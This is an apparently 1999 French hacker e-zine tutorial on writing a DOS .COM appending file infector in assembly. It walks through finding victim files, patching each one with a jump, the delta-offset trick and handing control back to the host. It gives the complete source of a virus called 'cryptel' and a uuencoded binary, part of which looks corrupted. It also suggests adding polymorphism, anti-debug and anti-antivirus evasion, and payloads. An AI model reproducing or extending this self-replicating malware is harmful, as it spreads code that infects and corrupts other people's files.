INTRO
okay bon y est... entrons dans ce monde tres marrant ke sont les virus.
cet article est dedie a ceux ki ont peur des virus et a ceux ki veulent
en apprendre plus. les autres vous pouvez sauter l'article :)
J'estime ke vous avez deja d bases en coding asm, m^me si j'explikerai bien.
Sinon je vous conseille de recup des tutoriaux de programmation assembleur.
Je tiens d'abord a dire ke faire des virus destructeurs est vraiment nul,
ke tout le monde peut le faire, et ke pour detruire il suffit d'un trojan.
Autant concentrer ses efforts a rajouter des fonctionnalites.
Comme je pense que vous n'etes po tous coder certifies, rassurez vous,
j'essayerai de pas vous perdre en route, mais une connaissance minimale
est requise. Pour ca, etudiez des tutoriaux d'assembleur, pas de virus.
Nous n'etudirons ici ke l'infecteur de com a l'execution.
J'aurai ptet l'occazion de reecrire ds ce mag si ca plait a 'Cryptel' :)
et pourrai vous entretenir de sujets plus pointus :)
Bon ... d'abord il vous faut des outils, si vous ne les avez pas deja.
toolz:
1) un compileur (TASM, pas forcement la v5, v2+ suffit)
2) un debugger (Soft Ice v2.8 fait tres bien l'affaire)
3) un hex editeur (Hiew v5+ ou l'editeur de Norton Utilities)
4) des anti virus (AVs) ! (ben ouais koa fo tester)
la je vous conseille AVP & DrWeb, tres tres bons.
oubliez mcaffee et norton AV ! pis tbav & f-prot : bof bof
5) un generateur de file a infecter ('goat').. tjs utile pour tester..
6) une liste des interruptions dos pour mieux comprendre/suivre
7) la liste commentee des instructions assembleur - au K ou
8) le luxe: VDAT par cicatrix - y'a tout sur les virus !
9) du matos, des feuilles, du tabac - ca c'est pour les nerfs
Vous trouverez les AVs (anti-virus) sur ftp.elf.stuba.sk/pub/pc/avir,
ainsi ke les goats maker (y'en a +ieurs).
Les outils se trouvent tous surement sur ma page : www.multimania.com/mdrg
bon... on va pouvoir commencer:
ok let's begin:
bon.. je vais parler ici des runtime infector appender.
(infection a l'execution, et ki se rajoute simpelmnet a la fin du .com)
Comment ne pas detruire : (ce ki est plus dur ke l'inverse)
- un .com ne peut pas depasser 64ko ! donc notre virus devras checker la
taille du host (file infected) + sa taille < 64ko
- ne pas utiliser des structures trop bizarres si on ne les connait pas
(comme les SFTs ki ne marchent pas ss win9x/NT et les reseaux novell)
- bien tester, surtout si vous rajoutez de l'anti debug ou de l'anti
heuristic (<- ou anti emul)
- tjs penser aux erreurs eventuelles ki peuvent survenir.
bon .. vous savez ce k'est un .com.. voila un shema simpliciste :
ccccccccccccccccccccccccccccc (suite d'instrutions)
notre virus devra prendre le controle avant l'execution normal du com
(c'est po oblige, mais c'est + simple, & ici suffisant pour la demo)
il devra ecrire une instruction de saut au debug du prog ki redirige vers son
propre code colle a la suite du com. et conserver l'ancien debut !
la grande parite vvvvvv est consacree a l'infection d'autre proggys.
en shema, ca donne ca:
vccccccccccccccccccccccccccccvvvvvvvvvc
^ ^ ^ ancien debut (pas forcement ici)
`. ,'
`ùÄÄ saut vers ÄÄÄÄÄÄÄ--ù'
voila pour la theorie (j'pense avoir perdu personne juske la)
dans la pratik now:
en 1er, il faut trouver une victime :)
on peut utiliser l'interruption 21h fonction 4e/4f
pour la simplicite, on va tenter de trouver des .coms ke dans
notre repertiore courant. lisez l'appendix 'pour aller plus loin' pour faire
des trucs + complike.
voila pour le code:
----8<-------------------
mov ah,1ah
lea bx,dta
int 21h
; le dos nous renverra le nom du fichier dans la DTA, et par defaut, c'est
; dans le PSP, l… ou il y a la ligne de commande. Comme le .com peut en
; avoir besoin, on deplace la DTA pour plus de securit‚.
lea dx,tofind ; le masque c'est *.com
mov ah,4eh
xor cx,cx
int 21h ; va chercher
jc plus_rien ; flag Carry sur le retour ? aucun trouv‚ :(
call try_inf ; sinon slurp ;) fait ton job
bcl: mov ah,4fh
int 21h ; trouve s'en un autre !
jc plus_rien ; flop ?
call try_inf
jmp bcl ; va cherche le prochain
plus_rien:
;retour programme normal - on a fini :)
try_inf:
mov ah,2fh ; les fonction 4e/4f mettent le file trouv‚
int 21h ; dans la DTA.. alors on cherche ou elle est
mov dx,bx ; es:bx = pointer vers DTA
add dx,1eh ; et on fait pointer dx sur le nom
call infect ;)~
ret
tofind db '*.com',0
----8<-------------------
bon... ca y est, on a trouver un file a infecter, c kwa la suite ?
une routine d'infection peut se faire comme ca :)~
1) on lit l'ancien debut
2) kke tests; on regarde si le fichier est pas trop gros
si c'est pas un exe camoufle
s'il est pas deja infecter
3) on ecrit le virus a la fin du programme
4) on fabrique un nouvo debut ki redirige vers nous
5) on ecrit ce nouvo debut
voici un example de code ki fait ca:
----8<-------------------
infect:
mov ax,3d02h
; ds:dx = seg:offset du file
int 21h ; on ouvre le fichier en mode r/w
xchg ax,bx ; + court ke 'mov bx,ax' ; optimisation !
mov ah,3fh
lea dx,oldbeg
mov cx,4
int 21h ; on lit le vrai debut pour plus tard
cmp word ptr [oldbeg],'MZ' ; certains .com sont des EXE en fait
je fin ; comme command.com ou edit.com
cmp word ptr [oldbeg],'ZM' ; ne les trashont pas !
je fin ; ils ont 'ZM' ou 'MZ' au tt debut.
cmp byte ptr [oldbeg+3],'' ; deja infecter ?
je fin
mov ax,4202h
xor cx,cx ; = mov cx,0 (+ court)
cwd ; = xor dx,dx (+ court)
int 21h ; va a la fin du fichier
mov dx,ax ; on en profite pour avoir la taille
mov [pointer],dx ; on s'en servira plus tard :)
mov cx,virsiz ; dans ax par retour, et on test si <Ä.
add dx,cx ; prog+virus > 64ko |
jc no_infect ; si c'est le cas -> bye |
mov ah,40h |
; mov cx,virsiz pas besoin, car deja vrai Äù'
lea dx,virus
int 21h ; ecris le virus a la fin du .com
mov ax,4200h
xor cx,cx
cwd
int 21h ; reviens au debut du fichier
; maintenant, nous allons ecrire le nouvo debut.
; ce sera les 3 bytes situ‚s … [newbeg] ki correspondent a l'instruction
; e9 xx xx : jmp far xxxx - ici fin du fichier, donc xxxx=taille du fichier
; -3 a cause de la premiere instruction
sub word ptr [pointer],3
; le '' a la suite ne sera pas execut‚, c'est juste un 'marker'
mov ah,40h
mov cx,4
lea dx,newbeg
int 21h
fin: mov ah,3eh
int 21h
ret
oldbeg db 0,0,0
newbeg db 0e9h
pointer db 0,0
infmark db '' ; markeur d'infection (exemple)
----8<-------------------
ok... voila pour une infection simple mais efficace..
maintenant, on va etudier le debut du virus.
c'est po super ortodox comme tutorial, mais on a compris comment on arrive la
donc le prog s'exec, et le jmp envoie sur le debut du virus coll‚ a la fin.
le probleme c'est k'on peut pas savoir a kel offset on est, car ca depends
de la taille du fichier, et un 'mov dx,offset tofind' ne marche plus, car
'tofind' n'est plus au m^me endroit en memoire.
une solution consiste a connaitre l'offset ou l'on est et … l'utiliser
pour calculer les pointeurs vers les donn‚es comme 'tofind'
une solution est:
call delta
delta: pop bp
sub bp,offset delta
xplikation:
'call delta' mets l'offset de la commande d'apres sur la pile,
on la recupere dans bp, et on calcule la difference entre l'offset actuel
et celui initial dans le virus 1ere generation.
Dans le code, au lieu d'un 'mov dx,offset tofind' vous devrez utiliser
'lea dx,bp+offset tofind' et vous serez sur ke ca marchera
Ce serait mieux ke vous compreniez, mais c'est po 100% necessaire.
il faudra donc reecrire les routines plus haut en tenant compte de ca.
il ne nous reste plus ke le retour au vrai programme a etudier.
il fo remettre le vrai debut en memoire a l'offset 100h, et jumper l….
proposition de code:
----8<-------------------
mov si,100h
mov ax,word ptr [bp+oldbeg]
mov [si],ax
mov ax,word ptr [bp+oldbeg+2]
mov [si],ax
jmp si
----8<-------------------
et l… la boucle est boucl‚e.
aller plus loin:
- L… comme virus, on peut pas faire plus standard, donc les AVs vous
capteront … coup s–r. (tin j'fais d efforts pour les accents)
Vous pouvez utiliser des variantes dans chaque routine, ou rajouter de
l'encryption ou du polymorphisme, avec de l'anti debug et de l'anti emul,
mais ces sujets depassent ce tutorial ki doit rester pas trop gros :P
- Vous aurez des suprisent, comme les .com ki s'inspectent avant d'executer
ce dont ils ont etes fait pour. comme keyb.com ou win.com sous win9x.
L… encore, c'est possible de feinter mais ca sort du tutorial.
- Au lieu d'un runtime infector, vous pouvez coder un joli TSR
(residant memoire) bien plus efficace, et avec plein d'autre possibilit‚s.
- Plus simplement, vous pouvez ameliorer votre runtime en remontant les reps
par la methode 'dotdot', ou en infectant les reps connus genre
\windows\command. Vous pouvez aussi rajouter des fonctions comme
enlever/remettre les attributs, la date du fichier, etc etc....
- Plus tard, vous pourrez rajouter des chtites fonctions pour ne pas se faire
reperrer par les moniteurs en memoire comme tbmem/tbfile, ou pour rendre
difficile le travail des AVs, m^me qd ils ont une copie du vir.
- Je vous conseille aussi fortement d'optimiser: faire un virus le plus petit
possible... pour cela utiliser des instructions et les registres 32bits .
profitons de l'assembleur ! les virus sont un tres bon moyen d'apprendre !
A la fin, qd tout marche bien, vous pouvez inclure une 'payload' ;
le truc drole, special, ki s'active selon les criteres de votre choix.
Soyez original, ne faites pas de trucs stupides ki gacherait tt le travail
genre payload destructrice (ki d'ailleurs diminue les chances de se repandre)
L… vous etes libre.
Je rajouterai qu'il ne faut pas lacher un virus dans la nature, a moins
d'etre sur a 100% k'il marche. Je dirais m^me plus, ne lachez jamais vos
premiers viriis, vous verez plus tard k'il etait pas tres safe.
On peux pas tout savoir du 1er coup.
Comme vous le constatez, nous n'avons juste k'effleurer l'iceberg.
Si vous voulez plus, mailez le mag en disans 'on aime mandragore !',
'on veux plus d'article de lui!' :))
ùÄÄ mandragore ÄÄ---ùù
voici le resultat:
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.model tiny
.code
org 100h
Start:
jmp virus ; notre nouvo debut (ici bricol‚)
db 90h ; pour faire 4 bytes
db '' ; deja infect‚
mov ah,9
lea dx,mess
int 21h
int 20h
mess db 'this file is infected by the cryptel virus!',13,10,'$'
virus: call delta
delta: pop bp
sub bp,offset delta
mov si,100h
mov ax,word ptr [bp+oldbeg]
mov [si],ax ; on remets le vrai debut tt de suite
mov ax,word ptr [bp+oldbeg+2] ; car il sera ecras‚ plus tard
mov [si+2],ax
mov ah,1ah
lea bx,bp+dta
int 21h
mov ah,4eh
xor cx,cx
lea dx,bp+tofind
int 21h ; on cherche
jc plus_rien
call try_inf
bcl: mov ah,4fh
int 21h ; on continue
jc plus_rien
call try_inf
jmp bcl
plus_rien:
mov si,100h
jmp si ; retourne au vrai programme
try_inf:
mov ah,2fh
int 21h ; on recup le nom ds la DTA
mov dx,bx
add dx,1eh
call infect ;)~
ret
infect:
mov ax,3d02h
int 21h ; ouverture r/w
xchg ax,bx
mov ah,3fh
lea dx,bp+oldbeg
mov cx,4
int 21h ; on lit le debut
cmp word ptr [bp+oldbeg],'MZ'
je fin
cmp word ptr [bp+oldbeg],'ZM' ; exe ?
je fin
cmp byte ptr [bp+oldbeg+3],'' ; deja infected ?
je fin
mov ax,4202h
xor cx,cx
cwd
int 21h ; vas a fin du fichier ....
mov dx,ax
mov word ptr [bp+pointer],dx
mov cx,virsiz
add dx,cx
jc fin
mov ah,40h
lea dx,bp+virus
int 21h ; .... pour ecrire le virus
mov ax,4200h
xor cx,cx
cwd
int 21h ; reviens au debut ....
sub word ptr [bp+pointer],3
mov ah,40h
mov cx,4
lea dx,bp+newbeg
int 21h ; .... pour mettre le nouvo debut
fin: mov ah,3eh
int 21h
ret
;--- zone des donn‚es ( regroup‚s pour plus de clart‚.. )
tofind db '*.com',0
oldbeg db 90h,90h,90h,90h ; notre debut (nop nop nop)
newbeg db 0e9h
pointer db 0,0
infmark db '' ; markeur d'infection
db '[cryptel] by mandragore/DDT (feb 99)',13,10 ; (c) ;)
db 'greetz to all french virii coders!'
virsiz = $-virus ; taille du virus = ici - debut virus
dta:
end start
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
begin 644 cryptel.com
MZSF0`[0)N@T!S2'-('1H:7,@9FEL92!I2!T:&4@8W)Y
M<'1E;"!V:7)UT^`;X``8N&[P&)!(N&\0&)1`*T&HV>/P+-
M(;1.,\F-END!S2%R#N@0`+1/S2%R!>@'`.OUO@`!_^:T+\TAB].#PA[H`0##
MN`(]S2&3M#^-EN\!N00`S2&!ON\!6DUT1(&^[P%-6G0\@+[R`0-T-;@"0C/)
MF2!M86YD